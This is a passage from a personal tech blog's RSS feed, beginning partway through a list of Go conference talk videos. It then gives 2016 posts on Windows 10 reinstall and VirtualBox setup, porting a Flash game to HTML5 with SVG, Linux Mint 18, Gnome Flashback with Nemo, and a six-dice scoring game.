[17:40]</li>
<li><a href="https://www.youtube.com/watch?v=od0-9dgEP68">Sebastien Binet - gopy: extending CPython with Go</a>
[4:42]</li>
<li><a href="https://www.youtube.com/watch?v=OynPw4aOlV0">Marty Schoch - A Tour of the Bleve</a>
[16:27]</li>
<li><a href="https://www.youtube.com/watch?v=2T6Prj82adg">Alan Shreve - Conceptualizing Large Software Systems</a>
[17:18]</li>
<li><a href="https://www.youtube.com/watch?v=lhDxWVACMbI">Arnaud Porterie - Abusing text/template for data transformation</a>
[4:05]</li>
<li><a href="https://www.youtube.com/watch?v=uRzdBIcY-Go">Matt Horsnell - What have the architects ever done for us?</a>
[4:30]</li>
<li><a href="https://www.youtube.com/watch?v=TI8OW22WZvQ">Matt Aimonetti - Applied concurrency in Go</a>
[17:44]</li>
<li><a href="https://www.youtube.com/watch?v=uO0cci9bglQ">Eleanor McHugh - Encrypt All Transports</a>
[4:34]</li>
</ul>
<h3 id="gophercon-2015">GopherCon 2015</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=3EW1hZ8DVyw">Richard Fliam - A Practical Guide to Preventing Deadlocks and Leaks in Go</a>
[23:56]</li>
<li><a href="https://www.youtube.com/watch?v=1AjaZi4QuGo">Peter Bourgon - Go Kit: A Standard Library for Distributed Programming</a>
[24:13]</li>
<li><a href="https://www.youtube.com/watch?v=VC3QXZ-x5yI">Kevin Cantwell - What Could Go Wrong?</a>
[20:15]</li>
<li><a href="https://www.youtube.com/watch?v=wqVbLlHqAeY">Kelsey Hightower - Betting the Company on Go and Winning</a>
[27:28]</li>
<li><a href="https://www.youtube.com/watch?v=S6mEo_FHZ5Y">Katherine Cox Buday - Simplicity and Go</a>
[23:55]</li>
<li><a href="https://www.youtube.com/watch?v=sQ6-HyPxHKg">Hana Kim - Go For Mobile Devices</a>
[29:23]</li>
<li><a href="https://www.youtube.com/watch?v=a9xrxRsIbSU">Dmitry Vyukov - Go Dynamic Tools</a>
[23:25]</li>
<li><a href="https://www.youtube.com/watch?v=InG72scKPd4">Derek Parker - Delve Into Go</a>
[27:21]</li>
<li><a href="https://www.youtube.com/watch?v=1V7eJ0jN8-E">Bjorn Rabenstein - Prometheus: Designing and Implementing a Modern Monitoring Solution in G</a>
[24:22]</li>
<li><a href="https://www.youtube.com/watch?v=D2-gaMvWfQY">Ben Johnson - Static Code Analysis Using SSA</a>
[25:16]</li>
<li><a href="https://www.youtube.com/watch?v=-9kWbPmSyCI">Barak Michener - Cayley: Building a Graph Database</a>
[20:18]</li>
<li><a href="https://www.youtube.com/watch?v=0hPOopcJ8-E">Baishampayan Ghose - The Roots of Go</a>
[29:17]</li>
<li><a href="https://www.youtube.com/watch?v=fZh8uCInEfw">Audrey Lim - How a complete beginner learned Go as her first backend language in 5 weeks</a>
[26:23]</li>
<li><a href="https://www.youtube.com/watch?v=0ht89TxZZnk">Andrew Gerrand - Closing Keynote</a>
[32:07]</li>
<li><a href="https://www.youtube.com/watch?v=_f9LS-OWfeA">Abhishek Kona - Rebuilding Parse.com in Go - an opinionated rewrite</a>
[21:08]</li>
<li><a href="https://www.youtube.com/watch?v=aiv1JOfMjm0">Rick Hudson - Go GC: Solving the Latency Problem</a>
[22:51]</li>
<li><a href="https://www.youtube.com/watch?v=kGAgHwfjg1s">Sarah Adams - Code Generation For The Sake Of Consistency</a>
[15:51]</li>
<li><a href="https://www.youtube.com/watch?v=_SCRvMunkdA">Sam Helman &amp; Kyle Erf - The Many Faces of Struct Tags</a>
[22:20]</li>
<li><a href="https://www.youtube.com/watch?v=0ReKdcpNyQg">Robert Griesemer - The Evolution of Go</a>
[41:34]</li>
<li><a href="https://www.youtube.com/watch?v=xyDkyFjzFVc">Tomas Senart - Embrace the Interface</a>
[24:20]</li>
<li><a href="https://www.youtube.com/watch?v=XvZOdpd_9tc">Russ Cox - Keynote</a> [36:00]</li>
<li><a href="https://www.youtube.com/watch?v=PyBJQA4clfc">Blake Caldwell - Uptime: Building Resilient Services with Go</a>
[25:48]</li>
</ul>
<h3 id="london-go-gathering-2015">London Go Gathering 2015</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=3Gsdg4-85X8">The State of Go (Feb 2015) - Andrew Gerrand</a>
[36:49]</li>
<li><a href="https://www.youtube.com/watch?v=lzlGXMnrBgw">Channeling Failure - Matt Heath</a>
[34:00]</li>
<li><a href="https://www.youtube.com/watch?v=YgnD27GFcyA">JSON, interfaces, and go generate - Francesc Campoy</a>
[32:25]</li>
<li><a href="https://www.youtube.com/watch?v=ZLq0Zeoyu6Y">Go on Mobile - David Crawshaw</a>
[19:29]</li>
<li><a href="https://www.youtube.com/watch?v=gukAZO1fqZQ">HTTP/2 - Brad Fitzpatrick</a>
[45:35]</li>
<li><a href="https://www.youtube.com/watch?v=8igk2ylk_X4">How Go spread at CloudFlare - John Graham-Cumming</a>
[37:48]</li>
<li><a href="https://www.youtube.com/watch?v=iFR_7AKkJFU">Go and the Modern Enterprise - Peter Bourgon</a>
[35:53]</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Windows 10 clean install</title>
      <link>https://www.tqdev.com/2016-windows-10-clean-install/</link>
      <pubDate>Sun, 10 Jul 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-windows-10-clean-install/</guid>
      <description>&lt;p&gt;In order to keep Windows running smoothly you need to reinstall it every now and
then. In this blog post I&amp;rsquo;ll explain how you can make a USB drive to perform a
clean install. Booting a UEFI machine from USB (without using legacy boot) may
be a bit harder than you are used to.&lt;/p&gt;
&lt;h3 id=&#34;get-windows-10-installation-media&#34;&gt;Get Windows 10 installation media&lt;/h3&gt;
&lt;p&gt;This is where it is at:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.microsoft.com/en-us/software-download/windows10&#34;&gt;https://www.microsoft.com/en-us/software-download/windows10&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On Windows the above link allows you to download the
&amp;ldquo;&lt;a href=&#34;http://www.intowindows.com/download-windows-10-media-creation-tool/&#34;&gt;Media Creation Tool&lt;/a&gt;&amp;rdquo;.
On Linux on the other hand this allows you to download ISO files of Windows 10.
You can use the
&lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher&#34;&gt;user-agent switcher&lt;/a&gt;
to choose either method. Note that the page contents depend on the operating
system in the user-agent string and not the browser.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In order to keep Windows running smoothly you need to reinstall it every now and
then. In this blog post I&rsquo;ll explain how you can make a USB drive to perform a
clean install. Booting a UEFI machine from USB (without using legacy boot) may
be a bit harder than you are used to.</p>
<h3 id="get-windows-10-installation-media">Get Windows 10 installation media</h3>
<p>This is where it is at:</p>
<p><a href="https://www.microsoft.com/en-us/software-download/windows10">https://www.microsoft.com/en-us/software-download/windows10</a></p>
<p>On Windows the above link allows you to download the
&ldquo;<a href="http://www.intowindows.com/download-windows-10-media-creation-tool/">Media Creation Tool</a>&rdquo;.
On Linux on the other hand this allows you to download ISO files of Windows 10.
You can use the
<a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher">user-agent switcher</a>
to choose either method. Note that the page contents depend on the operating
system in the user-agent string and not the browser.</p>
<h3 id="create-a-bootable-windows-10-usb-drive">Create a bootable Windows 10 USB drive</h3>
<p>Download the Media Creation Tool and tell it create an installation on a USB
drive. You need a drive of 4GB or bigger and all contents will be removed. By
default it will download the version of the machine it runs on, but when your
machine does not boot anymore you may override this setting. After downloading,
verifying and writing to your USB drive you can insert can try to boot from the
newly created drive. Note that this process may take an hour or even longer,
depending on the speed of your Internet connection and USB drive.</p>
<h3 id="create-a-bootable-windows-10-usb-drive-from-iso">Create a bootable Windows 10 USB drive from ISO</h3>
<p>You may run <a href="http://rufus.akeo.ie/">Rufus</a> with the following settings:</p>
<ul>
<li>Partition scheme: GPT for UEFI</li>
<li>File system: FAT32</li>
<li>Check &ldquo;Create bootable disk using&rdquo; and point to your Windows 10 ISO.</li>
</ul>
<p>Other settings may be left to their defaults.</p>
<h3 id="your-windows-10-key">Your Windows 10 key</h3>
<p>You actually may not have to enter a valid Windows 10 key as the website states:</p>
<blockquote>
<p>If you’ve already successful activated Windows 10 on this PC, including if you
upgraded by taking advantage of the free upgrade offer, you won’t need to
enter a Windows 10 product key. You can skip the product key page by selecting
the Skip button. Your PC will automatically activate later.
<a href="https://www.microsoft.com/en-us/software-download/windows10">source</a></p></blockquote>
<p>Nevertheless it would not hurt to actually know the key (which can be found
using Linux as you can read <a href="/2016-move-windows-10-to-virtualbox">here</a>).</p>
<h3 id="uefi-boot-from-usb">UEFI boot from USB</h3>
<p>Modern Windows computers boot using UEFI. I do not recommend &ldquo;Legacy boot&rdquo; or
turning &ldquo;Secure Boot&rdquo; off. I recommend that you boot the Windows 10 installer
from the USB drive in UEFI mode. Getting your UEFI system to boot from USB can
often be configured in the BIOS that you can normally enter by pressing F2
during boot. Microsoft writes:</p>
<blockquote>
<p>If you restart your PC and your current version of Windows starts, you might
have to open a boot menu or change the boot order in your PC&rsquo;s BIOS or UEFI
settings so that your PC boots from the media. To open a boot menu or change
the boot order, you&rsquo;ll typically need to press a combination of keys (such as
F2, F12, Delete, or Esc) immediately after you turn on your PC. For
instructions on changing the boot order for your PC, check the documentation
that came with your PC or go to the manufacturer&rsquo;s website.
<a href="https://www.microsoft.com/en-us/software-download/windows10">source</a></p></blockquote>
<p>Some technical facts about booting Windows 10 using UEFI:</p>
<ul>
<li>UEFI bootable drives have a GPT partition table.</li>
<li>UEFI boot searches for a folder named &ldquo;efi&rdquo; on a FAT32 partition with &ldquo;esp&rdquo;
flag (GPT alias for &ldquo;boot&rdquo;).</li>
<li>UEFI starts from the file &ldquo;\efi\boot\bootx64.efi&rdquo; on that partition.</li>
<li>UEFI drives have a partition with the &ldquo;msftdata&rdquo; flag for the NTFS file
system.</li>
<li>UEFI drives have a partition with the &ldquo;msftres&rdquo; flag to store hidden sectors
in (res=reserved).</li>
<li>UEFI boots to a drive that contains a BCD (Boot Configuration Data) store that
holds the boot options.</li>
</ul>
<p>You may use a tool like
<a href="http://www.thewindowsclub.com/advanced-visual-bcd-editor-for-windows-7-and-vista">Visual BCD Editor</a>
if you need to do some deep-diving or repairing. Other than that a tool like
&ldquo;gparted&rdquo; (on Linux) will give you a lot of insight into the inner workings of
UEFI booting.</p>
<h3 id="feedback">Feedback</h3>
<p>Did I miss something? Errors? Report them at: <a href="mailto:maurits@vdschee.nl">maurits@vdschee.nl</a>. Your feedback
is highly appreciated!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Move Windows 10 to Virtualbox</title>
      <link>https://www.tqdev.com/2016-move-windows-10-to-virtualbox/</link>
      <pubDate>Thu, 07 Jul 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-move-windows-10-to-virtualbox/</guid>
      <description>&lt;p&gt;Your super-fast laptop comes with Windows 10 installed. That may seem like a
waste to you when you are a real Linux geek like me, but it isn&amp;rsquo;t. You can
install your Windows 10 licensed copy in a VirtualBox environment that you run
on the host operating system (Linux, what else?). This has the great advantage
that you can easily make snapshots of your Windows environment. With snapshots
you can easily revert to for instance a &amp;ldquo;clean install&amp;rdquo; situation.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Your super-fast laptop comes with Windows 10 installed. That may seem like a
waste to you when you are a real Linux geek like me, but it isn&rsquo;t. You can
install your Windows 10 licensed copy in a VirtualBox environment that you run
on the host operating system (Linux, what else?). This has the great advantage
that you can easily make snapshots of your Windows environment. With snapshots
you can easily revert to for instance a &ldquo;clean install&rdquo; situation.</p>
<h3 id="finding-a-valid-windows-10-key">Finding a valid Windows 10 key</h3>
<p>After you received your brand new laptop you formatted it&rsquo;s SSD (without
hesitation) and installed Linux. You may think that by removing everything from
your hard drive you have lost all chances of finding the Windows 10 key that you
paid for, but you are wrong. You may have noted that since Windows 8 there are
no more (ugly and hard to remove) Windows stickers (containing keys) on laptops.
This is because nowadays the BIOS firmware may contain &ldquo;Microsoft Software
Licensing Tables&rdquo; named SLIC and MSDM that contain your key. As you can read
<a href="http://superuser.com/questions/637971/how-do-i-get-out-my-embedded-windows-8-key-from-a-linux-environment">here</a>
it is quite easy to extract the Windows key of the Windows installation that
came with your computer; just run:</p>
<pre><code>sudo cat /sys/firmware/acpi/tables/MSDM
</code></pre>
<p>You will find your key at the end of the &ldquo;file&rdquo;. Now that you have found your
key, you may need some installation media.</p>
<h3 id="get-a-windows-10-iso">Get a Windows 10 ISO</h3>
<p>It used to be very hard to get installation media for Windows. This made people
use pirated copies, although they had paid for a license. Fortunately this is
not needed anymore. Nowadays Microsoft simply offers the ISO file as a download.
For VirtualBox an ISO file is very convenient as installation media. On Linux
the following link brings you to a page where you can download an Windows 10
ISO:</p>
<p><a href="https://www.microsoft.com/en-us/software-download/windows10">https://www.microsoft.com/en-us/software-download/windows10</a></p>
<p>It is important that you download a matching ISO for your key. This should not
be particularly hard as there are only 4 versions to choose from (Windows 10,
Windows 10 KN, Windows 10 N, Windows 10 Single Language) and you typically need
the first one. I noted that installing the &ldquo;anniversary edition&rdquo; (1607) worked
on my Ubuntu 16.04, while installing the &ldquo;creators edition&rdquo; (1703) failed during
boot hanging on the Windows logo.</p>
<p>Note that on Windows the above link will bring you to the &ldquo;Media Creation Tool&rdquo;
and it really only useful if you are on Windows 10 and need to create a
boot-able USB drive for a &ldquo;clean install&rdquo; (as described in
<a href="/2016-windows-10-clean-install">this post</a>).</p>
<h3 id="my-experience">My experience</h3>
<p>I have only done this once, but it was with great success. I&rsquo;m very happy with
the result and I use it almost every day. You may encounter problems that I
didn&rsquo;t run into. Please send your findings/comments to <a href="mailto:maurits@vdschee.nl">maurits@vdschee.nl</a> and
I&rsquo;ll update the post to reflect them.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Porting a Flash game to HTML5</title>
      <link>https://www.tqdev.com/2016-porting-a-flash-game-to-html5/</link>
      <pubDate>Sun, 03 Jul 2016 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-porting-a-flash-game-to-html5/</guid>
      <description>&lt;p&gt;I confess: I love Flash and I think it is much better than HTML5. But Flash is
dead now (I blame Apple) and we have to build in HTML5. Actionscript 3 was a
beautiful and powerful language, especially for games. In this post I will
describe how to port an application from beautiful Actionscript 3 code (Flash)
to the ugly Javascript reality (HTML5).&lt;/p&gt;
&lt;h3 id=&#34;why-flash-was-better&#34;&gt;Why Flash was better&lt;/h3&gt;
&lt;p&gt;Drawing graphics in Flash was easy and your drawings could be combined and even
easily animated. Flash scaled seamlessly in high quality so that you did not
have to bother about screen sizes. There was only one runtime implementation, so
there were hardly any compatibility bugs. Animations performed great, even on
older computers. It really was a developer dream come true. Now we have to work
with Javascript, SVG and all kinds of different browser implementations, a huge
step backwards.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I confess: I love Flash and I think it is much better than HTML5. But Flash is
dead now (I blame Apple) and we have to build in HTML5. Actionscript 3 was a
beautiful and powerful language, especially for games. In this post I will
describe how to port an application from beautiful Actionscript 3 code (Flash)
to the ugly Javascript reality (HTML5).</p>
<h3 id="why-flash-was-better">Why Flash was better</h3>
<p>Drawing graphics in Flash was easy and your drawings could be combined and even
easily animated. Flash scaled seamlessly in high quality so that you did not
have to bother about screen sizes. There was only one runtime implementation, so
there were hardly any compatibility bugs. Animations performed great, even on
older computers. It really was a developer dream come true. Now we have to work
with Javascript, SVG and all kinds of different browser implementations, a huge
step backwards.</p>
<h3 id="graphics-library">Graphics library</h3>
<p>In Flash we had a library of graphics that could reference each other. Some of
the graphics could be marked as &ldquo;export for Actionscript&rdquo; and given an
identifier for programmatic access. Fortunately we can also make a library in a
SVG file. Below is an example of my library for Tic-Tac-Toe:</p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;no&quot;?&gt;
&lt;svg version=&quot;1.1&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;
  &lt;defs&gt;
    &lt;g id=&quot;empty&quot;&gt;
      &lt;rect x=&quot;0&quot; y=&quot;0&quot; width=&quot;160&quot; height=&quot;160&quot; fill=&quot;#eee&quot;/&gt;
      &lt;rect x=&quot;5&quot; y=&quot;5&quot; width=&quot;150&quot; height=&quot;150&quot; rx=&quot;15&quot; ry=&quot;15&quot; fill=&quot;silver&quot;/&gt;
    &lt;/g&gt;
    &lt;g id=&quot;cross&quot;&gt;
      &lt;use xlink:href=&quot;#empty&quot;/&gt;
      &lt;path stroke=&quot;red&quot; stroke-width=&quot;35&quot; d=&quot;M75,0 L75,150Z M0,75 L150,75z&quot; transform=&quot;translate(80,-25) rotate(45) &quot; /&gt;
    &lt;/g&gt;
    &lt;g id=&quot;circle&quot;&gt;
      &lt;use xlink:href=&quot;#empty&quot;/&gt;
      &lt;circle stroke=&quot;blue&quot; stroke-width=&quot;35&quot; cx=&quot;80&quot; cy=&quot;80&quot; r=&quot;50&quot; fill=&quot;none&quot; /&gt;
    &lt;/g&gt;
  &lt;/defs&gt;
&lt;/svg&gt;
</code></pre>
<p>As you can see we export the &ldquo;g&rdquo; (group) definitions by giving it an &ldquo;id&rdquo;
property, which is the name we will use to reference the graphic in the code.</p>
<h3 id="loading-the-svg-library">Loading the SVG library</h3>
<p>We can load the SVG using jQuery (as you can see below) or we can statically add
the SVG to the HTML in a non-displayed &ldquo;div&rdquo; element.</p>
<pre><code>&lt;script type=&quot;text/javascript&quot;&gt;
  $(function(){
    $.ajax({
      url: &quot;graphics.svg&quot;,
      dataType: &quot;text&quot;,
      success: function(response){
        $(document.body).prepend('&lt;div style=&quot;display:none&quot;&gt;'+response+'&lt;/div&gt;');
        // start game here
      }
    });
  })
&lt;/script&gt;
</code></pre>
<p>You should only start to run the game once the SVG is injected, because
otherwise your xlink references won&rsquo;t work when drawing the graphics.</p>
<h3 id="layered-movieclips-vs-html-dom">Layered MovieClips vs. HTML DOM</h3>
<p>In Flash we used to have a MovieClip tree with a root element. In HTML5 we can
work with the DOM. To load the &ldquo;cross&rdquo; graphic from the SVG library we use the
following SVG code:</p>
<pre><code>&lt;svg role=&quot;img&quot;&gt;
  &lt;use xlink:href=&quot;graphics.svg#cross&quot;/&gt;
&lt;/svg&gt;
</code></pre>
<p>This can either just be added to the HTML body or injected or replaced using
jQuery as you can see in the snippet below from a &ldquo;draw&rdquo; function:</p>
<pre><code>var html = '';
for (var y=0;y&lt;3;y++) {
  for (var x=0;x&lt;3;x++) {
    html+= '&lt;svg role=&quot;img&quot; viewBox=&quot;0,0,160,160&quot; width=&quot;200&quot; height=&quot;200&quot;&gt;';
    html+= '&lt;use xlink:href=&quot;graphics.svg#'+field[x][y]+'&quot;/&gt;';
    html+= '&lt;/svg&gt;';
  }
}
$('#game').html(html);
</code></pre>
<p>Note that although the cross in the library has width x height of 160 x 160, it
is actually drawn at 200 x 200, but without loss of fidelity. If you use the CSS
style &ldquo;positioning: absolute&rdquo;, then you can position the SVG at an arbitrary
position and also easily overlay them (using &ldquo;z-index&rdquo;).</p>
<h3 id="object-oriented-programming">Object oriented programming</h3>
<p>Javascript is not object oriented. This does not mean you can&rsquo;t follow a OOP
style of programming. One of the best explanations of how this can be applied
can be found on
<a href="http://javascript.info/tutorial/pseudo-classical-pattern">javascript.info</a>. I
also think you should read
<a href="http://eloquentjavascript.net/1st_edition/chapter8.html">chapter 8</a> of Eloquent
Javascript by Marijn Haverbeke.</p>
<h3 id="getting-started">Getting started</h3>
<p>With the above tools you can start porting you Flash game to HTML5. I have put a
<a href="https://github.com/mevdschee/html5-tictactoe">simple game template on Github</a>
for you to start from.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Linux Mint 18 is a winner!</title>
      <link>https://www.tqdev.com/2016-linux-mint-18-is-a-winner/</link>
      <pubDate>Thu, 30 Jun 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-linux-mint-18-is-a-winner/</guid>
      <description>&lt;p&gt;Linux Mint 18 is &lt;a href=&#34;http://blog.linuxmint.com/?p=3051&#34;&gt;released today&lt;/a&gt; and I
understand why Linux Mint is the world&amp;rsquo;s most popular Linux distribution
(according to &lt;a href=&#34;http://distrowatch.com/&#34;&gt;DistroWatch&lt;/a&gt;). It has all the goodness
of Ubuntu 16.04, combined with a user-friendly, familiar and modern looking
interface with plenty of options to customize.&lt;/p&gt;
&lt;h3 id=&#34;cinnamon-vs-mate&#34;&gt;Cinnamon vs. MATE&lt;/h3&gt;
&lt;p&gt;There is a Cinnamon and a MATE version of Linux Mint 18. I tried them both
briefly and I noticed several differences. The MATE version seems more
light-weight as it feels a bit more snappy. It sports &amp;ldquo;Caja&amp;rdquo; as a file manager
which is less powerful than &amp;ldquo;Nemo&amp;rdquo;, but still does not feel like it is missing
important features. The MATE version has more configuration options than the
Cinnamon version. The Cinnamon version on the other hand looks more modern and
polished. Your desktop on a cube and wobbly windows, remember that thing? I
think it was in 2007 when I have first seen that. It is still supported in MATE,
wohoo!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Linux Mint 18 is <a href="http://blog.linuxmint.com/?p=3051">released today</a> and I
understand why Linux Mint is the world&rsquo;s most popular Linux distribution
(according to <a href="http://distrowatch.com/">DistroWatch</a>). It has all the goodness
of Ubuntu 16.04, combined with a user-friendly, familiar and modern looking
interface with plenty of options to customize.</p>
<h3 id="cinnamon-vs-mate">Cinnamon vs. MATE</h3>
<p>There is a Cinnamon and a MATE version of Linux Mint 18. I tried them both
briefly and I noticed several differences. The MATE version seems more
light-weight as it feels a bit more snappy. It sports &ldquo;Caja&rdquo; as a file manager
which is less powerful than &ldquo;Nemo&rdquo;, but still does not feel like it is missing
important features. The MATE version has more configuration options than the
Cinnamon version. The Cinnamon version on the other hand looks more modern and
polished. Your desktop on a cube and wobbly windows, remember that thing? I
think it was in 2007 when I have first seen that. It is still supported in MATE,
wohoo!</p>
<h3 id="compared-to-xfce-and-gnome-flashback">Compared to XFCE and Gnome flashback</h3>
<p>The MATE version of Mint feels a lot like Xubuntu (my favorite distro at the
moment), but it seems a little slower and not necessarily more beautiful. The
Cinnamon version of Mint is actually a leap forward compared to Xubuntu in terms
of features and eye-candy, but is even heavier. I would say that Gnome flashback
feels a bit faster than Mint Cinnamon. I think most people will feel that Mint
Cinnamon is the prettiest desktop. It helps that Mint Cinnamon&rsquo;s color scheme is
easy adjustable, while it is hard to get rid of the orange and purple in Gnome
flashback.</p>
<h3 id="for-beginners-or-geeks">For beginners or geeks?</h3>
<p>I would argue that Mint Cinnamon hits a sweet spot for beginners. It has a
familiar interface, is user-friendly, not as slow as Windows and it looks quite
pretty. It also just works, something you can never take for granted. Mint MATE
is definitely aimed at geeks: die-hard Linux users that love to work with a
super fast machine that is ultra-configurable and runs a (for them) familiar
Gnome 2 environment. It also has that &ldquo;geek&rdquo; factor of being a thing of the past
that only attracts long-term, thus experienced, Linux users. MATE is almost as
fast as XFCE and it has more features and configuration options, so it may even
be a viable option for Xubuntu users (like me).</p>
<h3 id="mint-only-features">Mint-only features</h3>
<p>Linux Mint has added some really nice features that standard Ubuntu does not has
(by default), such as: Backup software, Graphical firewall, Domain blocker,
Update manager with &ldquo;conservative&rdquo;, &ldquo;normal&rdquo; and &ldquo;progressive&rdquo; setting. Also the
file managers &ldquo;Caja&rdquo; (MATE) and &ldquo;Nemo&rdquo; (Cinnamon) work really well
(out-of-the-box), where <a href="/2016-xubuntu-16-04-thunar-crashes-on-rename">Thunar</a>
and <a href="/2016-ubuntu-gnome-flashback-nemo">Nemo</a> need patches to run on Xubuntu and
standard Ubuntu.</p>
<h3 id="conclusion">Conclusion</h3>
<p>&ldquo;Linux Mint 18 Cinnamon&rdquo; is my new default operating system advice for people
with fast machines, beginners or experts. If you are not happy with that you may
try the MATE version or even Xubuntu 16.04 or Ubuntu 16.04 with Gnome flashback
(in that order).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ubuntu 16.04 with Gnome Flashback and Nemo</title>
      <link>https://www.tqdev.com/2016-ubuntu-gnome-flashback-nemo/</link>
      <pubDate>Mon, 27 Jun 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-ubuntu-gnome-flashback-nemo/</guid>
      <description>&lt;p&gt;I love Ubuntu, especially 16.04 for it&amp;rsquo;s new software versions. The best
official &amp;lsquo;derivative&amp;rsquo; of Ubuntu is IMHO &amp;ldquo;Xubuntu&amp;rdquo;. It is even better than the
original. Why? Because it is light-weight and has that nice old-school &amp;ldquo;Gnome 2&amp;rdquo;
look. It did not change much and that is a good thing. I like stuff that does
not change, especially when it works fast and good. The constant (needless)
changes in the user interface (as Microsoft is doing to Windows) are driving me
crazy. Apple seems to be more subtle in it&amp;rsquo;s user interface improvements. Ubuntu
and Gnome have also made some dramatic changes in the past years, completely
unnecessary in my opinion. XFCE has improved, but more subtle, like OSX.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I love Ubuntu, especially 16.04 for it&rsquo;s new software versions. The best
official &lsquo;derivative&rsquo; of Ubuntu is IMHO &ldquo;Xubuntu&rdquo;. It is even better than the
original. Why? Because it is light-weight and has that nice old-school &ldquo;Gnome 2&rdquo;
look. It did not change much and that is a good thing. I like stuff that does
not change, especially when it works fast and good. The constant (needless)
changes in the user interface (as Microsoft is doing to Windows) are driving me
crazy. Apple seems to be more subtle in it&rsquo;s user interface improvements. Ubuntu
and Gnome have also made some dramatic changes in the past years, completely
unnecessary in my opinion. XFCE has improved, but more subtle, like OSX.</p>
<h3 id="gnome-flashback">Gnome flashback</h3>
<p>Today we are exploring &ldquo;Gnome flashback&rdquo; and the &ldquo;Nemo&rdquo; file manager as an
alternative to Xubuntu. With the following commands the required packages are
installed:</p>
<pre><code>sudo apt-get update &amp;&amp; sudo apt-get upgrade
sudo apt-get install nemo gnome-session-flashback
</code></pre>
<p>Now run the following commands to make the window buttons normal, let Nemo
handle the desktop and set Nemo as the default file manager:</p>
<pre><code>gsettings set org.gnome.desktop.wm.preferences button-layout 'menu:minimize,maximize,close'
gsettings set org.gnome.desktop.background show-desktop-icons false
xdg-mime default nemo.desktop inode/directory application/x-gnome-saved-search
</code></pre>
<p>Logout (no need to shutdown or restart) and on the login screen click the Ubuntu
logo behind your username and choose &ldquo;GNOME Flashback (Metacity)&rdquo;. You will see
a very traditional, but also modern and very much &ldquo;Ubuntu&rdquo;-like desktop.
Unfortunately the default Nemo package is somewhat broken (causing the desktop
to be black after reboot). This can be fixed with a patched version:</p>
<pre><code>sudo add-apt-repository ppa:webupd8team/nemo
sudo apt-get update
sudo apt-get install nemo nemo-fileroller
</code></pre>
<p>There were a few shortcuts I had to Google and these are:</p>
<pre><code>win-alt right-click panel to modify panels
win-s to open the application menu
</code></pre>
<p>Other that this everything worked very much as expected.</p>
<h3 id="comparison">Comparison</h3>
<p>XFCE with Thunar is silver gray (with blue), while Gnome flashback with Nemo is
dark brown (with orange). I feel Ubuntu flashback has much more user friendly
settings than XFCE and Nemo has more features than Thunar. Thunar seems to be
faster than Nemo, but Nemo is by no means slow. It is a pity that the built-in
Nemo package is broken and that you need the PPA to install it. Thunar on the
other hand has a
<a href="http://tqdev.com/2016-xubuntu-16-04-thunar-crashes-on-rename">serious stability issue</a>
that can only be resolved by patching it, so on this account they both lose.</p>
<p>I can&rsquo;t really decide what I like better. I am running Nemo on my laptop and
Thunar on my desktop for a while now and time will tell. I&rsquo;ll update this post
if I have any new insights or updates.</p>
]]></content:encoded>
    </item>
    <item>
      <title>A slots-like dice game</title>
      <link>https://www.tqdev.com/2016-a-slots-like-dice-game/</link>
      <pubDate>Sun, 12 Jun 2016 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-a-slots-like-dice-game/</guid>
      <description>&lt;p&gt;12 years ago I wrote a game in Borland Delphi that I learned on a holiday. It is
a game with 6 dice that plays a bit like a slot machine. You can play it with
two or more people and you need six dice.&lt;/p&gt;
&lt;h3 id=&#34;rules&#34;&gt;Rules&lt;/h3&gt;
&lt;p&gt;You start a turn by throwing a full set of six dice. You may call for any of
following combinations and add the corresponding score to your turn score (where
the series of d&amp;rsquo;s represent dice with the same number):&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>12 years ago I wrote a game in Borland Delphi that I learned on a holiday. It is
a game with 6 dice that plays a bit like a slot machine. You can play it with
two or more people and you need six dice.</p>
<h3 id="rules">Rules</h3>
<p>You start a turn by throwing a full set of six dice. You may call for any of
following combinations and add the corresponding score to your turn score (where
the series of d&rsquo;s represent dice with the same number):</p>
<pre><code>Dice               Score
------------------------
1, 2, 3, 4, 5, 6 =  2000
1, 1, 1, 1, 1, 1 =  8000
   1, 1, 1, 1, 1 =  4000
      1, 1, 1, 1 =  2000
         1, 1, 1 =  1000
d, d, d, d, d, d = d*800
   d, d, d, d, d = d*400
      d, d, d, d = d*200
         d, d, d = d*100
               1 =   100
               5 =    50
------------------------
</code></pre>
<p>Any dice used for the turn score may not be thrown again, unless all dice are
used for the turn score, then they may all be thrown again. If you throw again
and you are not able to add a score to your turn score your turn ends with zero
points (regardless of the accumulated turn score). If your turn score exceeds
350 points you may decide to stop your turn and add the turn score to your total
score. You win the game when you reach a total score of 10.000 points.</p>
<h3 id="play-it-online">Play it online!</h3>
<p>Below you find the playable game (requires Javascript):</p>
<div id="dice_game" style="margin-bottom: 2rem">Javascript must be enabled</div>
<script src="/uploads/2016/dicegame.js"></script>
<p>Press &lsquo;add&rsquo; to add the selected dice to your turn score. Press &lsquo;play&rsquo; to throw
the unused dice again. Press &lsquo;stop&rsquo; to collect your turn score and end your turn
or press &rsquo;next&rsquo; to end your turn without collecting your turn score. I hope you
